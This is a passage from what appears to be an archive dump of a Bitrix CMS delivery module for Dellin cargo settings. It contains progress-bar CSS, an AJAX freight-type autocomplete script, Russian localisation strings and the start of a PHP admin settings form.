	-webkit-box-shadow: 1px 1px 0 #fff, inset 0 2px 2px #c0cbce;
	box-shadow: 1px 1px 0 #fff, inset 0 2px 2px #c0cbce;
	background-color:#cdd8da;
	background-image:-webkit-linear-gradient(top, #cdd8da, #c3ced1);
	background-image:-moz-linear-gradient(top, #cdd8da, #c3ced1);
	background-image:-ms-linear-gradient(top, #cdd8da, #c3ced1);
	background-image:-o-linear-gradient(top, #cdd8da, #c3ced1);
	background-image:linear-gradient(top, #ced9db, #c3ced1);
	border-radius: 2px;
	text-align: center;
	color: #6a808e;
	text-shadow: 0 1px rgba(255,255,255,0.85);
	font-size: 18px;
	line-height: 35px;
	font-weight: bold;
}

.install-load-block .install-progress-bar-outer .install-progress-bar-alignment {
	height: 28px;
	margin: 0 2px;
	position: relative;
	color: #6A808E;
	font-size: 18px;
	font-weight: bold;
	line-height: 35px;
	text-align: center;
	text-shadow: 0 1px rgba(255, 255, 255, 0.85);
}

.install-progress-bar-alignment .install-progress-bar-inner {
	height: 28px;
	border-radius: 2px;
	border-top: solid 1px #52b9df;
	background-color:#2396ce;
	background-image:-webkit-linear-gradient(top, #27a8d7, #2396ce, #1c79c0);
	background-image:-moz-linear-gradient(top, #27a8d7, #2396ce, #1c79c0);
	background-image:-ms-linear-gradient(top, #27a8d7, #2396ce, #1c79c0);
	background-image:-o-linear-gradient(top, #27a8d7, #2396ce, #1c79c0);
	background-image:linear-gradient(top, #27a8d7, #2396ce, #1c79c0);
	position: absolute;
	overflow: hidden;
	top: 2px;
	left:0
}

.install-progress-bar-inner .install-progress-bar-inner-text {
	color: #fff;
	text-shadow: 0 1px rgba(0,0,0,0.2);
	font-size: 18px;
	line-height: 32px;
	font-weight: bold;
	text-align: center;
	position: absolute;
	left: -2px;
	top: -2px;
}

.install-progress-bar-alignment .install-progress-bar-span {
	color: #6A808E;
	font-size: 18px;
	font-weight: bold;
	line-height: 35px;
	text-align: center;
	text-shadow: 0 1px rgba(255, 255, 255, 0.85);
}components/dellindev/dellindev.shipment.cargosettings/templates/.default/style.min.css000064400000004327151760651320025516 0ustar00.install-load-block{background-color:#f7fafa;border-radius:3px;-webkit-box-shadow:0 1px 0 #ebebeb;box-shadow:0 1px 0 #ebebeb}.install-load-block .install-load-title{border-bottom:1px solid #e6eaeb;color:#000;font-size:18px;font-weight:bold;margin-bottom:19px;padding:0 0 15px 3px}.install-load-block .install-load-label{color:#000;margin-bottom:15px}.install-load-block .install-load-error{color:red;margin-bottom:15px}.install-load-block .install-progress-bar-outer{height:32px;border:1px solid;border-color:#9ba6a8 #b1bbbe #bbc5c9 #b1bbbe;-webkit-box-shadow:1px 1px 0 #fff,inset 0 2px 2px #c0cbce;box-shadow:1px 1px 0 #fff,inset 0 2px 2px #c0cbce;background-color:#cdd8da;background-image:-webkit-linear-gradient(top,#cdd8da,#c3ced1);background-image:-moz-linear-gradient(top,#cdd8da,#c3ced1);background-image:-ms-linear-gradient(top,#cdd8da,#c3ced1);background-image:-o-linear-gradient(top,#cdd8da,#c3ced1);background-image:linear-gradient(top,#ced9db,#c3ced1);border-radius:2px;text-align:center;color:#6a808e;text-shadow:0 1px rgba(255,255,255,0.85);font-size:18px;line-height:35px;font-weight:bold}.install-load-block .install-progress-bar-outer .install-progress-bar-alignment{height:28px;margin:0 2px;position:relative;color:#6a808e;font-size:18px;font-weight:bold;line-height:35px;text-align:center;text-shadow:0 1px rgba(255,255,255,0.85)}.install-progress-bar-alignment .install-progress-bar-inner{height:28px;border-radius:2px;border-top:solid 1px #52b9df;background-color:#2396ce;background-image:-webkit-linear-gradient(top,#27a8d7,#2396ce,#1c79c0);background-image:-moz-linear-gradient(top,#27a8d7,#2396ce,#1c79c0);background-image:-ms-linear-gradient(top,#27a8d7,#2396ce,#1c79c0);background-image:-o-linear-gradient(top,#27a8d7,#2396ce,#1c79c0);background-image:linear-gradient(top,#27a8d7,#2396ce,#1c79c0);position:absolute;overflow:hidden;top:2px;left:0}.install-progress-bar-inner .install-progress-bar-inner-text{color:#fff;text-shadow:0 1px rgba(0,0,0,0.2);font-size:18px;line-height:32px;font-weight:bold;text-align:center;position:absolute;left:-2px;top:-2px}.install-progress-bar-alignment .install-progress-bar-span{color:#6a808e;font-size:18px;font-weight:bold;line-height:35px;text-align:center;text-shadow:0 1px rgba(255,255,255,0.85)}components/dellindev/dellindev.shipment.cargosettings/templates/.default/script.js000064400000005234151760651320024722 0ustar00BX.namespace('BX.Sale.Dellin.CargoSettings');

BX.Sale.Dellin.CargoSettings =
{
	ajaxUrl: "",
	interruptFlag: false,
	requestFlag: false,
	serviceLocationClass: "",
	isError: false,
	viewMsg: '',// ���� ���-�� �� ������ ���������, ��������� ����� ���������
	errorMsg: null,
	inputDisabled: false,
	cityKladr: null,
	isOpen: false,

	getAppkey: function(){
		return document.querySelector('[name="CONFIG[MAIN][APIKEY]"]')
	},
	selectFrieghtType: function () {
		let input = document.querySelector('#FrieghtTypeUid');
		if(input.value.length > 3){
			let postData = {
				sessid: BX.bitrix_sessid(),
				action: 'get_frieght_type',
				query: input.value,	
				class: BX.Sale.Dellin.CargoSettings.serviceAjaxClass
			};


			BX.ajax({
				timeout:    300,
				method:     'POST',
				dataType:   'json',
				url:        BX.Sale.Dellin.CargoSettings.ajaxUrl,
				data:       postData,

				onsuccess: function(result)
				{
					let fields = BX.Sale.Dellin.CargoSettings.getAutoComplete(result);
					input.after(fields);
				},

				onfailure: function(status)
				{
					console.log("onfailture", status);
				}
			});
		}
	},
	getAutoComplete: function(result){


		//TODO ������� ��� �������.
		BX.Sale.Dellin.CargoSettings.clearAutoComplete();

		let divAutocomplete = document.createElement('div');
			divAutocomplete.className = 'autocomplete';
		let divRows = document.createElement('div');
			divRows.className = 'rows';


			result.LIST.forEach(function (el) {

			let row = BX.Sale.Dellin.CargoSettings.buildRowAutocompolite(el);

				divRows.appendChild(row);

			});

			console.log(divRows);
			divAutocomplete.appendChild(divRows);

			console.log(divAutocomplete);

			//add block KLADinput

			return divAutocomplete;


	},
	buildRowAutocompolite: function (el) {
		let divRow = document.createElement('div');
			divRow.className = 'autocomplete-row';
			divRow.dataset.id = el.code;
			divRow.innerHTML = el.city+' ['+el.code+'] ';

			divRow.addEventListener('click', function () {
				let fieldFrieghtTypeName = document.querySelector('[name="CONFIG[CARGO][FREIGHT_TYPE_NAME]"]');
					fieldFrieghtTypeName.value = el.city;
				let fieldFrieghtTypeUid = document.querySelector('[name="CONFIG[CARGO][FREIGHT_TYPE_UID]"]');
					fieldFrieghtTypeUid.value = this.dataset.id;
					
					BX.Sale.Dellin.CargoSettings.clearAutoComplete();
			});
		return divRow;
	},
	clearAutoComplete: function(){
		let autoComplete = document.querySelector('.autocomplete');
		if(autoComplete !== null){
			autoComplete.remove();
		}

	},
	onblurAutocomplete: function(){
		setTimeout(this.clearAutoComplete, 300);
	},
};components/dellindev/dellindev.shipment.cargosettings/templates/.default/lang/ru/template.php000064400000011301151760651320026743 0ustar00<?

$MESS["DELLINDEV_PARAM_DELIVERY_DELAY"] = "Параметры отложенной доставки ";
$MESS["DELLINDEV_DELAY_DAY"] = "Отложить доставку на";
$MESS["DELLINDEV_DAYS"] = "(дней)";
$MESS["DELLINDEV_SELECT_SCHEME_DELIVERY"] = "Выберите способ доставки ";
$MESS["DELLINDEV_SCHEME_DELIVERY"] = "Способ доставки";
$MESS["DELLINDEV_TO_TERMINAL"] = "До терминала";
$MESS["DELLINDEV_TO_ADDRESS"] = "До адреса";
$MESS["DELLINDEV_PARAM_SMALL_CARGO"] = "Доставка малогабаритного груза";
$MESS["DELLINDEV_USE_CALC_HOW_SMALL_CARGO"] = "Использовать специальный тариф 'Малогабаритный груз'";
$MESS["DELLINDEV_CONDITION_USE_SMALL_CARGO"] = "Примечание: в случае, если параметры перевозки не соответствует условям тарифа 'Малогабаритный груз', стоимость перевозки будет расчитана по стандартному тарифу.<br/><a href='https://www.dellin.ru/ltl/parcels/'  target='_blank'>Условия тарифа</a>";
$MESS["DELLINDEV_YES_CALC"] = "Да";
$MESS["DELLINDEV_NO_USE_SMALL_CARGO"] = "Нет";
$MESS["DELLINDEV_PARAM_INSURANCE"] = "Страхование груза";
$MESS["DELLINDEV_INSURANCE_DECLARE_PRICE"] = " Передавать объявленную стоимость  ";
$MESS["DELLINDEV_INSURANCE_DECLARE_PRICE_NOTE"] = "Примечание: объявленная стоимость груза определяется автоматически, на основании переданных данных товарного каталога<br/><a href='https://www.dellin.ru/ltl/insurance/' target='_blank'>Условия страхования груза и срока доставки</a>";
$MESS["DELLINDEV_YES_CALC_INSURANCE"] = "Да";
$MESS["DELLINDEV_NO_CALC_INSURANCE"] = "Нет";
$MESS["DELLINDEV_PARAM_GROUP_CARGO_PLACE"] = "Группировка груза";
$MESS["DELLINDEV_GROUP_PRODUCTS_IN_CARGO_PLACE"] = "Способ группировки";
$MESS["DELLINDEV_CALC_ALL_PRODUCT_AS_ONE_PLACE"] = "Считать весь заказ как 1 грузоместо";
$MESS["DELLINDEV_SEPARATED_CARGO_SPACE"] = "Группировать каждый вид товара, как отдельное грузоместо";
$MESS["DELLINDEV_SINGLE_ITEM_SINGLE_SPACE"] = "Каждая единица товара - отдельное грузоместо ";
$MESS["DELLINDEV_REQUIREMENTS_FOR_TRANSPORT_LOADING"] = "Требования к транспорту при погрузке";
$MESS["DELLINDEV_TYPE_UNLOADING"] = "Тип выгрузки";
$MESS["DELLINDEV_NOT_REQUIREMENT"] = "Не требуется";
$MESS["DELLINDEV_BACK_UNLOADING"] = "Задняя выгрузки ";
$MESS["DELLINDEV_UPPER_UNLOADING"] = " Верхняя выгрузки ";
$MESS["DELLINDEV_SPEC_REQUIREMENT_FOR_TRANSPORT"] = "Специальные требования к транспорту";
$MESS["DELLINDEV_NOT_REQUIREMENT"] = "Не требуются";
$MESS["DELLINDEV_OPEN_CAR"] = "Открытая машина";
$MESS["DELLINDEV_REQUIREMENT_UN_CANOPY"] = "Требуется растентовка";
$MESS["DELLINDEV_ADITIONAL_EQUPMENT"] = "Дополнительная комплектация:";
$MESS["DELLINDEV_TAIL_LIFT"] = "Гидроборт";
$MESS["DELLINDEV_MANIPULATOR"] = "Манипулятор";
$MESS["DELLINDEV_DEFAULT_PRODUCT_PARAMS"] = "Параметры товара по умолчанию";
$MESS["DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS"] = "Использовать параметры товара по умолчанию?";
$MESS["DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS_INFO"] = " Примечание: Если в свойствах товара не указаны параметры длины, ширины, высоты и массы, то будут применены ниже указанные параметры при запросе к API";
$MESS["DELLINDEV_YES_USE_PARAMS"] = "Да";
$MESS["DELLINDEV_NO_USE_PARAMS"] = "Нет";
$MESS["DELLINDEV_LENGHT_MM"] = "Длина:(мм)";
$MESS["DELLINDEV_WIDTH_MM"] = "Ширина:(мм)";
$MESS["DELLINDEV_HEIGHT_MM"] = "Высота:(мм)";
$MESS["DELLINDEV_MASS_G"] = "Масса:(г)";

$MESS['DELLINDEV_FREIGHT_TYPES_HEADER'] = 'Характер груза';
$MESS['DELLINDEV_INPUT_FREIGHT_TYPES'] = 'Выберите из списка характер, который наиболее точно описывает реализуемый товар.
Например: мебель, одежда или электроника.';
$MESS['DELLINDEV_FREIGHT_TYPES_UID'] = 'Код характера груза';
?>components/dellindev/dellindev.shipment.cargosettings/templates/.default/lang/en/template.php000064400000011301151760651320026717 0ustar00<?

$MESS["DELLINDEV_PARAM_DELIVERY_DELAY"] = "Параметры отложенной доставки ";
$MESS["DELLINDEV_DELAY_DAY"] = "Отложить доставку на";
$MESS["DELLINDEV_DAYS"] = "(дней)";
$MESS["DELLINDEV_SELECT_SCHEME_DELIVERY"] = "Выберите способ доставки ";
$MESS["DELLINDEV_SCHEME_DELIVERY"] = "Способ доставки";
$MESS["DELLINDEV_TO_TERMINAL"] = "До терминала";
$MESS["DELLINDEV_TO_ADDRESS"] = "До адреса";
$MESS["DELLINDEV_PARAM_SMALL_CARGO"] = "Доставка малогабаритного груза";
$MESS["DELLINDEV_USE_CALC_HOW_SMALL_CARGO"] = "Использовать специальный тариф 'Малогабаритный груз'";
$MESS["DELLINDEV_CONDITION_USE_SMALL_CARGO"] = "Примечание: в случае, если параметры перевозки не соответствует условям тарифа 'Малогабаритный груз', стоимость перевозки будет расчитана по стандартному тарифу.<br/><a href='https://www.dellin.ru/ltl/parcels/'  target='_blank'>Условия тарифа</a>";
$MESS["DELLINDEV_YES_CALC"] = "Да";
$MESS["DELLINDEV_NO_USE_SMALL_CARGO"] = "Нет";
$MESS["DELLINDEV_PARAM_INSURANCE"] = "Страхование груза";
$MESS["DELLINDEV_INSURANCE_DECLARE_PRICE"] = " Передавать объявленную стоимость  ";
$MESS["DELLINDEV_INSURANCE_DECLARE_PRICE_NOTE"] = "Примечание: объявленная стоимость груза определяется автоматически, на основании переданных данных товарного каталога<br/><a href='https://www.dellin.ru/ltl/insurance/' target='_blank'>Условия страхования груза и срока доставки</a>";
$MESS["DELLINDEV_YES_CALC_INSURANCE"] = "Да";
$MESS["DELLINDEV_NO_CALC_INSURANCE"] = "Нет";
$MESS["DELLINDEV_PARAM_GROUP_CARGO_PLACE"] = "Группировка груза";
$MESS["DELLINDEV_GROUP_PRODUCTS_IN_CARGO_PLACE"] = "Способ группировки";
$MESS["DELLINDEV_CALC_ALL_PRODUCT_AS_ONE_PLACE"] = "Считать весь заказ как 1 грузоместо";
$MESS["DELLINDEV_SEPARATED_CARGO_SPACE"] = "Группировать каждый вид товара, как отдельное грузоместо";
$MESS["DELLINDEV_SINGLE_ITEM_SINGLE_SPACE"] = "Каждая единица товара - отдельное грузоместо ";
$MESS["DELLINDEV_REQUIREMENTS_FOR_TRANSPORT_LOADING"] = "Требования к транспорту при погрузке";
$MESS["DELLINDEV_TYPE_UNLOADING"] = "Тип выгрузки";
$MESS["DELLINDEV_NOT_REQUIREMENT"] = "Не требуется";
$MESS["DELLINDEV_BACK_UNLOADING"] = "Задняя выгрузки ";
$MESS["DELLINDEV_UPPER_UNLOADING"] = " Верхняя выгрузки ";
$MESS["DELLINDEV_SPEC_REQUIREMENT_FOR_TRANSPORT"] = "Специальные требования к транспорту";
$MESS["DELLINDEV_NOT_REQUIREMENT"] = "Не требуются";
$MESS["DELLINDEV_OPEN_CAR"] = "Открытая машина";
$MESS["DELLINDEV_REQUIREMENT_UN_CANOPY"] = "Требуется растентовка";
$MESS["DELLINDEV_ADITIONAL_EQUPMENT"] = "Дополнительная комплектация:";
$MESS["DELLINDEV_TAIL_LIFT"] = "Гидроборт";
$MESS["DELLINDEV_MANIPULATOR"] = "Манипулятор";
$MESS["DELLINDEV_DEFAULT_PRODUCT_PARAMS"] = "Параметры товара по умолчанию";
$MESS["DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS"] = "Использовать параметры товара по умолчанию?";
$MESS["DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS_INFO"] = " Примечание: Если в свойствах товара не указаны параметры длины, ширины, высоты и массы, то будут применены ниже указанные параметры при запросе к API";
$MESS["DELLINDEV_YES_USE_PARAMS"] = "Да";
$MESS["DELLINDEV_NO_USE_PARAMS"] = "Нет";
$MESS["DELLINDEV_LENGHT_MM"] = "Длина:(мм)";
$MESS["DELLINDEV_WIDTH_MM"] = "Ширина:(мм)";
$MESS["DELLINDEV_HEIGHT_MM"] = "Высота:(мм)";
$MESS["DELLINDEV_MASS_G"] = "Масса:(г)";

$MESS['DELLINDEV_FREIGHT_TYPES_HEADER'] = 'Характер груза';
$MESS['DELLINDEV_INPUT_FREIGHT_TYPES'] = 'Выберите из списка характер, который наиболее точно описывает реализуемый товар.
Например: мебель, одежда или электроника.';
$MESS['DELLINDEV_FREIGHT_TYPES_UID'] = 'Код характера груза';
?>components/dellindev/dellindev.shipment.cargosettings/templates/.default/script.min.js000064400000007565151760651320025515 0ustar00BX.namespace("BX.Sale.Location.Map"),BX.Sale.Location.Map={ajaxUrl:"",interruptFlag:!1,requestFlag:!1,serviceLocationClass:"",sendRequest:function(a,s){if(a){var e=a,o=this;e.sessid=BX.bitrix_sessid(),this.requestFlag=!0,BX.ajax({timeout:300,method:"POST",dataType:"json",url:this.ajaxUrl,data:e,onsuccess:function(a){o.requestFlag=!1,o.interruptFlag?o.closeProgressDialog():(a?s&&"function"==typeof s&&s.call(null,a):o.pb.showError(BX.message("SALE_DLVRS_ADD_LOC_COMP_AJAX_ERROR")),a&&a.ERROR&&o.pb.showError(a.ERROR))},onfailure:function(a){o.requestFlag=!1,o.pb.showError("ajax onfailure"),o.pb.showError("status: "+a),o.interruptFlag&&o.closeProgressDialog()}})}},startLocationsCompare:function(a){this.showProgressDialog(),this.sendRequest({action:"locations_map",class:BX.Sale.Location.Map.serviceLocationClass,needToDeleteExist:a||!1},BX.Sale.Location.Map.processLocationsCompareAnswer)},processLocationsCompareAnswer:function(a){a&&a.stage&&a.action?(a.message&&BX.Sale.Location.Map.pb.showMessage(a.message),a.progress&&BX.Sale.Location.Map.pb.Update(a.progress),a.error?BX.Sale.Location.Map.pb.showError(a.error):a.stage&&"finish"==a.stage?BX("progress_cancel").value=BX.message("SALE_LOCATION_MAP_CLOSE"):BX.Sale.Location.Map.sendRequest({action:a.action,stage:a.stage,step:a.step?a.step:"",progress:a.progress?a.progress:0,class:BX.Sale.Location.Map.serviceLocationClass},BX.Sale.Location.Map.processLocationsCompareAnswer)):BX.Sale.Location.Map.pb.showError(BX.message("SALE_DLVRS_ADD_LOC_COMP_AJAX_ERROR"))},closeProgressDialog:function(){this.interruptFlag||(this.interruptFlag=!0),this.requestFlag||(BX.WindowManager.Get().Close(),this.interruptFlag&&(this.interruptFlag=!1))},showProgressDialog:function(){var a=new BX.CDialog({content:BX.Sale.Location.Map.pb.getNode(),width:530,height:200,draggable:!0,resizable:!0,title:BX.message("SALE_LOCATION_MAP_LOC_MAPPING"),buttons:[{title:BX.message("SALE_LOCATION_MAP_CANCEL"),id:"progress_cancel",name:"progress_cancel",action:function(){window.location.reload(),BX.Sale.Location.Map.closeProgressDialog()}}]});BX.Sale.Location.Map.pb.Init(),a.adjustSizeEx(),a.Show(),BX.Sale.Location.Map.pb.showError(""),BX.Sale.Location.Map.pb.showMessage(BX.message("SALE_LOCATION_MAP_PREPARING"))},pb:{width:0,obContainer:!1,obIndicator:!1,obIndicator2:!1,Init:function(){this.obContainer=BX("install-load-block"),this.obIndicator=BX("install-progress-bar-inner-text"),this.obIndicator2=BX("install-progress-bar-span"),this.obIndicator3=BX("install-progress-bar-inner"),this.obContainer.style.display="",this.width=this.obContainer.clientWidth||this.obContainer.offsetWidth},Update:function(a){this.obIndicator.innerHTML=this.obIndicator3.style.width=a+"%",this.obIndicator2.innerHTML=a+"%"},showError:function(a){var s=BX("install-load-error");s.innerHTML=a,s.style.display=a?"":"none",BX.WindowManager.Get().adjustSizeEx()},showMessage:function(a,s){var e=BX("install-load-label"),o=e.innerHTML;e.innerHTML=(s?o+"<br>":"")+a,e.style.display=a?"":"none",BX.WindowManager.Get().adjustSizeEx()},getNode:function(){var a=BX("install-load-block");return a||(a=BX.create("div",{props:{className:"install-load-block",id:"install-load-block"},children:[BX.create("div",{props:{className:"install-load-label",id:"install-load-label"}}),BX.create("div",{props:{className:"install-load-error",id:"install-load-error"}}),BX.create("div",{props:{className:"install-progress-bar-outer",id:"install-progress-bar-outer"},style:{width:"500px"},children:[BX.create("div",{props:{className:"install-progress-bar-alignment"},children:[BX.create("div",{props:{className:"install-progress-bar-inner",id:"install-progress-bar-inner"},style:{width:"0%"},children:[BX.create("div",{props:{className:"install-progress-bar-inner-text",id:"install-progress-bar-inner-text"},style:{width:"500px"},html:"0%"})]}),BX.create("div",{props:{className:"install-progress-bar-span",id:"install-progress-bar-span"},html:"0%"})]})]})]})),a}}};components/dellindev/dellindev.shipment.cargosettings/templates/.default/template.php000064400000035703151760651320025410 0ustar00<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
use Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);
//���������

if(isset($_REQUEST['ID']) || !empty($_REQUEST['ID'])) {

    $configParams = \Bitrix\Sale\Delivery\Services\Manager::getById((int)$_REQUEST['ID'])['CONFIG'];

}




?>



<tr class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_SELECT_SCHEME_DELIVERY") ?></td>
</tr>

<tr>
    <td width="40%"><?= Loc::getMessage("DELLINDEV_SCHEME_DELIVERY") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[ARRIVAL][GOODSLOADING]">
            <option value="0"
                <? ($configParams['ARRIVAL']['GOODSLOADING'] == '0')?print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_TO_TERMINAL") ?></option>
            <option value="1"
                <? ($configParams['ARRIVAL']['GOODSLOADING'] == '1')?print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_TO_ADDRESS") ?></option>
        </select>
    </td>
</tr>

<tr class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_PARAM_SMALL_CARGO") ?></td>
</tr>

<tr>
    <td width="40%"><?= Loc::getMessage("DELLINDEV_USE_CALC_HOW_SMALL_CARGO") ?><br/>
        <small><?= Loc::getMessage("DELLINDEV_CONDITION_USE_SMALL_CARGO") ?></small></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[ARRIVAL][IS_SMALL_GOODS]">
            <option value="0"
                <? ($configParams["ARRIVAL"]["IS_SMALL_GOODS"] == '0')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_YES_CALC") ?></option>
            <option value="1"
                <? ($configParams["ARRIVAL"]["IS_SMALL_GOODS"] == '1')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_NO_USE_SMALL_CARGO") ?></option>
        </select>
    </td>
</tr>

<tr class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_PARAM_INSURANCE") ?></td>
</tr>

<tr>
    <td width="40%"><?= Loc::getMessage("DELLINDEV_INSURANCE_DECLARE_PRICE") ?><br/>
       <small><?= Loc::getMessage("DELLINDEV_INSURANCE_DECLARE_PRICE_NOTE") ?></small>	</td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[ARRIVAL][IS_INSURANCE_GOODS_WITH_DECLARE_PRICE]">
            <option value="0"
                <? ($configParams['ARRIVAL']['IS_INSURANCE_GOODS_WITH_DECLARE_PRICE'] == '0')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_YES_CALC_INSURANCE") ?></option>
            <option value="1"
                <? ($configParams['ARRIVAL']['IS_INSURANCE_GOODS_WITH_DECLARE_PRICE'] == '1')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_NO_CALC_INSURANCE") ?></option>
        </select>
    </td>
</tr>

<tr class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_PARAM_GROUP_CARGO_PLACE") ?></td>
</tr>


<tr>
    <td width="40%"><?= Loc::getMessage("DELLINDEV_GROUP_PRODUCTS_IN_CARGO_PLACE") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[CARGO][LOADING_GROUPING_OF_GOODS]">
            <option  value="ONE_CARGO_SPACE"
                <? ($configParams['CARGO']['LOADING_GROUPING_OF_GOODS'] == 'ONE_CARGO_SPACE')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_CALC_ALL_PRODUCT_AS_ONE_PLACE") ?></option>
            <option value="SEPARATED_CARGO_SPACE"
                <? ($configParams['CARGO']['LOADING_GROUPING_OF_GOODS'] == 'SEPARATED_CARGO_SPACE')?
                    print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_SEPARATED_CARGO_SPACE") ?></option>
            <option value="SINGLE_ITEM_SINGLE_SPACE"
                <? ($configParams['CARGO']['LOADING_GROUPING_OF_GOODS'] == 'SINGLE_ITEM_SINGLE_SPACE')?
                    print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_SINGLE_ITEM_SINGLE_SPACE") ?></option>
        </select>
    </td>
</tr>



<tr style="display:none;" class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_REQUIREMENTS_FOR_TRANSPORT_LOADING") ?><br/>
    </td>
</tr>

<tr style="display: none;">
    <td width="40%"><?= Loc::getMessage("DELLINDEV_TYPE_UNLOADING") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[ARRIVAL][UNLOADING_TYPE]">
            <option value="NULL"
                <? ($configParams['ARRIVAL']['UNLOADING_TYPE'] == 'NULL')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_NOT_REQUIREMENT") ?></option>
            <option value="0xb83b7589658a3851440a853325d1bf69"
                <? ($configParams['ARRIVAL']['UNLOADING_TYPE'] == '0xb83b7589658a3851440a853325d1bf69')?
                    print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_BACK_UNLOADING") ?></option>
            <option value="0xabb9c63c596b08f94c3664c930e77778"
                <? ($configParams['ARRIVAL']['UNLOADING_TYPE'] == '0xabb9c63c596b08f94c3664c930e77778')?
                    print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_UPPER_UNLOADING") ?></option>
        </select>
    </td>
</tr>

<tr  style="display: none;">
    <td width="40%"><?= Loc::getMessage("DELLINDEV_SPEC_REQUIREMENT_FOR_TRANSPORT") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[ARRIVAL][UNLOADING_TRANSPORT_REQUIREMENTS]">
            <option value="NULL"
                <? ($configParams['ARRIVAL']['UNLOADING_TRANSPORT_REQUIREMENTS'] == 'NULL')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_NOT_REQUIREMENT") ?></option>
            <option value="0x9951e0ff97188f6b4b1b153dfde3cfec"
                <? ($configParams['ARRIVAL']['UNLOADING_TRANSPORT_REQUIREMENTS'] ==
                    '0x9951e0ff97188f6b4b1b153dfde3cfec')?
                    print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_OPEN_CAR") ?></option>
            <option value="0x818e8ff1eda1abc349318a478659af08"
                <? ($configParams['ARRIVAL']['UNLOADING_TRANSPORT_REQUIREMENTS'] ==
                    '0x818e8ff1eda1abc349318a478659af08')?
                    print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_REQUIREMENT_UN_CANOPY") ?></option>
        </select>
    </td>
</tr>

<tr style="display: none;">
    <td width="40%"><?= Loc::getMessage("DELLINDEV_ADITIONAL_EQUPMENT") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[ARRIVAL][UNLOADING_ADDITIONAL_EQUIPMENT]">
            <option value="NULL"
                <? ($configParams['ARRIVAL']['UNLOADING_ADDITIONAL_EQUIPMENT'] == 'NULL')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_NOT_REQUIREMENT") ?></option>
            <option value="0x92fce2284f000b0241dad7c2e88b1655"
                <? ($configParams['ARRIVAL']['UNLOADING_ADDITIONAL_EQUIPMENT'] ==
                    '0x92fce2284f000b0241dad7c2e88b1655')?
                    print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_TAIL_LIFT") ?></option>
            <option value="0x88f93a2c37f106d94ff9f7ada8efe886"
                <? ($configParams['ARRIVAL']['UNLOADING_ADDITIONAL_EQUIPMENT'] ==
                    '0x88f93a2c37f106d94ff9f7ada8efe886')?
                    print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_MANIPULATOR") ?></option>
        </select>
    </td>
</tr>

<tr class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_DEFAULT_PRODUCT_PARAMS") ?></td>
</tr>

<tr>
    <td width="40%"><?= Loc::getMessage("DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS") ?><br/>
        <small><?= Loc::getMessage("DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS_INFO") ?></small></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[CARGO][DEFAULT_PARAMS]">
            <option value="0"
                <? ($configParams['CARGO']['DEFAULT_PARAMS'] == '0')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_YES_USE_PARAMS") ?></option>
            <option value="1"
                <? ($configParams['CARGO']['DEFAULT_PARAMS'] == '1')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_NO_USE_PARAMS") ?></option>
        </select>
    </td>
</tr>

<tr>

    <td width="40%"><?= Loc::getMessage("DELLINDEV_LENGHT_MM") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[PRODUCT][LENGTH]"
               value='<? echo $configParams['PRODUCT']['LENGTH'] ?>'
        >
    </td>

</tr>

<tr>

    <td width="40%"><?= Loc::getMessage("DELLINDEV_WIDTH_MM") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[PRODUCT][WIDTH]"
               value='<? echo $configParams['PRODUCT']['WIDTH'] ?>'
        >
    </td>

</tr>

<tr>

    <td width="40%"><?= Loc::getMessage("DELLINDEV_HEIGHT_MM") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[PRODUCT][HEIGHT]"
               value='<? echo $configParams['PRODUCT']['HEIGHT'] ?>'
        >
    </td>

</tr>

<tr>

    <td width="40%"><?= Loc::getMessage("DELLINDEV_MASS_G") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[PRODUCT][WEIGHT]"
